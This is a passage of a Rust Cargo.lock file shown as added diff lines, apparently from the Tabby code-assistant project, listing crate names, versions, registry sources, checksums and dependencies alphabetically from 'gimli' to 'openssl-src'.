"fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "gimli" +version = "0.27.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0a93d233ebf96623465aad4046a8d3aa4da22d4f4beba5388838c8a434bbb4" + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "globset" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +dependencies = [ + "aho-corasick", + "bstr", + "fnv", + "log", + "regex", +] + +[[package]] +name = "globwalk" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9db17aec586697a93219b19726b5b68307eba92898c34b170857343fe67c99d" +dependencies = [ + "ignore", + "walkdir", +] + +[[package]] +name = "graphql-parser" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1abd4ce5247dfc04a03ccde70f87a048458c9356c7e41d21ad8c407b3dde6f2" +dependencies = [ + "combine", + "thiserror", +] + +[[package]] +name = "h2" +version = "0.3.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d357c7ae988e7d2182f7d7871d0b963962420b0678b0997ce7de72001aeab782" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap 1.9.3", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ff8ae62cd3a9102e5637afc8452c55acf3844001bd5374e0b0bd7b6616c038" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "hashlink" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" +dependencies = [ + "hashbrown 0.14.3", +] + +[[package]] +name = "headers" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3e372db8e5c0d213e0cd0b9be18be2aca3d44cf2fe30a9d46a65581cd454584" +dependencies = [ + "base64 0.13.1", + "bitflags 1.3.2", + "bytes", + "headers-core", + "http", + "httpdate", + "mime", + "sha1", +] + +[[package]] +name = "headers-core" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7f66481bfee273957b1f20485a4ff3362987f85b2c236580d81b4eb7a326429" +dependencies = [ + "http", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "home" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "hostname" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c731c3e10504cc8ed35cfe2f1db4c9274c3d35fa486e3b31df46f068ef3e867" +dependencies = [ + "libc", + "match_cfg", + "winapi", +] + +[[package]] +name = "htmlescape" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9025058dae765dee5070ec375f591e2ba14638c63feff74f13805a72e523163" + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-api-bindings" +version = "0.8.3" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "reqwest", + "serde", + "serde_json", + "tabby-inference", + "tokio", + "tracing", +] + +[[package]] +name = "http-body" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "http-range-header" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bfe8eed0a9285ef776bb792479ea3834e8b94e13d615c2f66d03dd50a435a29" + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" + +[[package]] +name = "humantime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" + +[[package]] +name = "hyper" +version = "0.14.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.4.9", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fad5b825842d2b38bd206f3e81d6957625fd7f0a361e345c30e01a0ae2dd613" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "if_chain" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb56e1aa765b4b4f3aadfab769793b7087bb03a4ea4920644a6d238e2df5b9ed" + +[[package]] +name = "ignore" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492" +dependencies = [ + "globset", + "lazy_static", + "log", + "memchr", + "regex", + "same-file", + "thread_local", + "walkdir", + "winapi-util", +] + +[[package]] +name = "include_dir" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18762faeff7122e89e0857b02f7ce6fcc0d101d5e9ad2ad7846cc01d61b7f19e" +dependencies = [ + "include_dir_macros", +] + +[[package]] +name = "include_dir_macros" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b139284b5cf57ecfa712bcc66950bb635b31aff41c188e8a4cfc758eca374a3f" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad227c3af19d4914570ad36d30409928b75967c298feb9ea1969db3a610bb14e" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", +] + +[[package]] +name = "indicatif" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25" +dependencies = [ + "console", + "instant", + "number_prefix", + "portable-atomic", + "unicode-width", +] + +[[package]] +name = "insta" +version = "1.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d64600be34b2fcfc267740a243fa7744441bb4947a619ac4e5bb6507f35fbfc" +dependencies = [ + "console", + "lazy_static", + "linked-hash-map", + "pest", + "pest_derive", + "serde", + "similar", + "yaml-rust", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +dependencies = [ + "hermit-abi 0.3.1", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "ipnet" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12b6ee2129af8d4fb011108c73d99a1b83a85977f23b82460c0ae2e25bb4b57f" + +[[package]] +name = "itertools" +version = "0.10.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" + +[[package]] +name = "job_scheduler" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51f368c9c76dde2282714ae32dc274b79c27527a0c06c816f6dda048904d0d7c" +dependencies = [ + "chrono", + "cron 0.6.1", + "uuid 0.8.2", +] + +[[package]] +name = "jobserver" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "936cfd212a0155903bcbc060e316fb6cc7cbf2e1907329391ebadc1fe0ce77c2" +dependencies = [ + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "jsonwebtoken" +version = "9.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "155c4d7e39ad04c172c5e3a99c434ea3b4a7ba7960b38ecd562b270b097cce09" +dependencies = [ + "base64 0.21.5", + "pem", + "ring", + "serde", + "serde_json", + "simple_asn1", +] + +[[package]] +name = "juniper" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52adf17d43d0b526eed31fac15d9312941c5c2558ffbfb105811690b96d6e2f1" +dependencies = [ + "async-trait", + "bson", + "chrono", + "fnv", + "futures", + "futures-enum", + "graphql-parser", + "indexmap 1.9.3", + "juniper_codegen", + "serde", + "smartstring", + "static_assertions", + "url", + "uuid 0.8.2", +] + +[[package]] +name = "juniper-axum" +version = "0.8.3" +dependencies = [ + "axum", + "juniper", + "juniper_graphql_ws", + "serde", + "serde_json", +] + +[[package]] +name = "juniper_codegen" +version = "0.15.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aee97671061ad50301ba077d054d295e01d31a1868fbd07902db651f987e71db" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "juniper_graphql_ws" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5526c2f2a9c40f08841dc559971641fdd71c008a265745d18bb0c8b7e105b3" +dependencies = [ + "juniper", + "juniper_subscriptions", + "serde", + "tokio", +] + +[[package]] +name = "juniper_subscriptions" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2983b26a1e12b691c17432aee3881d8bec4a94d6c64bc933c0eaf6d9e3429f13" +dependencies = [ + "futures", + "juniper", +] + +[[package]] +name = "kdam" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e352f4e1acc6a3d0919eaeb014ca63e5da9450a12ef7106fe2936a07a1648d44" +dependencies = [ + "terminal_size", + "windows-sys 0.48.0", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "lettre" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5aaf628956b6b0852e12ac3505d20d7a12ecc1e32d5ea921f002af4a74036a5" +dependencies = [ + "base64 0.21.5", + "chumsky", + "email-encoding", + "email_address", + "fastrand 2.0.1", + "futures-util", + "hostname", + "httpdate", + "idna 0.5.0", + "mime", + "native-tls", + "nom 7.1.3", + "quoted_printable", + "socket2 0.5.5", + "tokio", + "url", +] + +[[package]] +name = "levenshtein_automata" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c2cdeb66e45e9f36bfad5bbdb4d2384e70936afbee843c6f6543f0c551ebb25" + +[[package]] +name = "libc" +version = "0.2.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a08173bc88b7955d1b3145aa561539096c421ac8debde8cbc3612ec635fee29b" + +[[package]] +name = "libloading" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +dependencies = [ + "cfg-if", + "winapi", +] + +[[package]] +name = "libsqlite3-sys" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "link-cplusplus" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecd207c9c713c34f95a097a5b029ac2ce6010530c7b49d7fea24d977dede04f5" +dependencies = [ + "cc", +] + +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] +name = "linux-raw-sys" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" + +[[package]] +name = "linux-raw-sys" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da2479e8c062e40bf0066ffa0bc823de0a9368974af99c9f6df941d2c231e03f" + +[[package]] +name = "llama-cpp-bindings" +version = "0.8.3" +dependencies = [ + "async-stream", + "async-trait", + "cmake", + "cxx", + "cxx-build", + "derive_builder", + "futures", + "tabby-inference", + "tokio", + "tracing", +] + +[[package]] +name = "lock_api" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "loom" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5" +dependencies = [ + "cfg-if", + "generator", + "pin-utils", + "scoped-tls", + "tracing", + "tracing-subscriber 0.3.17", +] + +[[package]] +name = "lru" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4a83fb7698b3643a0e34f9ae6f2e8f0178c0fd42f8b59d493aa271ff3a5bf21" +dependencies = [ + "hashbrown 0.14.3", +] + +[[package]] +name = "lz4_flex" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ea9b256699eda7b0387ffbc776dd625e28bde3918446381781245b7a50349d8" + +[[package]] +name = "mach2" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d0d1830bcd151a6fc4aea1369af235b36c1528fe976b8ff678683c9995eade8" +dependencies = [ + "libc", +] + +[[package]] +name = "match_cfg" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4" + +[[package]] +name = "matchers" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f099785f7595cc4b4553a174ce30dd7589ef93391ff414dbb67f62392b9e0ce1" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matchit" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b87248edafb776e59e6ee64a79086f65890d3510f2c656c000bf2a7e8a0aea40" + +[[package]] +name = "measure_time" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56220900f1a0923789ecd6bf25fbae8af3b2f1ff3e9e297fc9b6b8674dd4d852" +dependencies = [ + "instant", + "log", +] + +[[package]] +name = "memchr" +version = "2.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5486aed0026218e61b8a01d5fbd5a0a134649abb71a0e53b7bc088529dced86e" + +[[package]] +name = "memmap2" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f49388d20533534cd19360ad3d6a7dadc885944aa802ba3995040c5ec11288c6" +dependencies = [ + "libc", +] + +[[package]] +name = "memo-map" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "374c335b2df19e62d4cb323103473cbc6510980253119180de862d89184f6a83" + +[[package]] +name = "memoffset" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d61c719bcfbcf5d62b3a09efa6088de8c54bc0bfcd3ea7ae39fcc186108b8de1" +dependencies = [ + "autocfg", +] + +[[package]] +name = "metrics" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fde3af1a009ed76a778cb84fdef9e7dbbdf5775ae3e4cc1f434a6a307f6f76c5" +dependencies = [ + "ahash", + "metrics-macros", + "portable-atomic", +] + +[[package]] +name = "metrics-exporter-prometheus" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a4964177ddfdab1e3a2b37aec7cf320e14169abb0ed73999f558136409178d5" +dependencies = [ + "base64 0.21.5", + "hyper", + "indexmap 1.9.3", + "ipnet", + "metrics", + "metrics-util", + "quanta", + "thiserror", + "tokio", + "tracing", +] + +[[package]] +name = "metrics-macros" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddece26afd34c31585c74a4db0630c376df271c285d682d1e55012197830b6df" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "metrics-util" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4de2ed6e491ed114b40b732e4d1659a9d53992ebd87490c44a6ffe23739d973e" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", + "hashbrown 0.13.1", + "metrics", + "num_cpus", + "quanta", + "sketches-ddsketch", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "minijinja" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80084fa3099f58b7afab51e5f92e24c2c2c68dcad26e96ad104bd6011570461d" +dependencies = [ + "memo-map", + "self_cell", + "serde", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa" +dependencies = [ + "adler", +] + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", + "windows-sys 0.48.0", +] + +[[package]] +name = "multimap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" + +[[package]] +name = "murmurhash32" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9380db4c04d219ac5c51d14996bbf2c2e9a15229771b53f8671eb6c83cf44df" + +[[package]] +name = "native-tls" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" +dependencies = [ + "lazy_static", + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "netrc" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9a91b326434fca226707ed8ec1fd22d4e1c96801abdf10c412afdc7d97116e0" + +[[package]] +name = "nom" +version = "4.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c349f68f25f596b9f44cf0e7c69752a5c633b0550c3ff849518bfba0233774a" +dependencies = [ + "memchr", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "ntapi" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" +dependencies = [ + "winapi", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-bigint" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608e7659b5c3d7cba262d894801b9ec9d00de989e8a82bd4bef91d08da45cdc0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-derive" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b" +dependencies = [ + "hermit-abi 0.2.6", + "libc", +] + +[[package]] +name = "num_threads" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44" +dependencies = [ + "libc", +] + +[[package]] +name = "number_prefix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" + +[[package]] +name = "nvml-wrapper" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd21b9f5a1cce3c3515c9ffa85f5c7443e07162dae0ccf4339bb7ca38ad3454" +dependencies = [ + "bitflags 1.3.2", + "libloading", + "nvml-wrapper-sys", + "static_assertions", + "thiserror", + "wrapcenum-derive", +] + +[[package]] +name = "nvml-wrapper-sys" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c961a2ea9e91c59a69b78e69090f6f5b867bb46c0c56de9482da232437c4987e" +dependencies = [ + "libloading", +] + +[[package]] +name = "object" +version = "0.30.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea86265d3d3dcb6a27fc51bd29a4bf387fae9d2986b823079d4986af253eb439" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + +[[package]] +name = "oneshot" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc22d22931513428ea6cc089e942d38600e3d00976eef8c86de6b8a3aadec6eb" +dependencies = [ + "loom", +] + +[[package]] +name = "openssl" +version = "0.10.61" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b8419dc8cc6d866deb801274bba2e6f8f6108c1bb7fcc10ee5ab864931dbb45" +dependencies = [ + "bitflags 2.4.0", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" 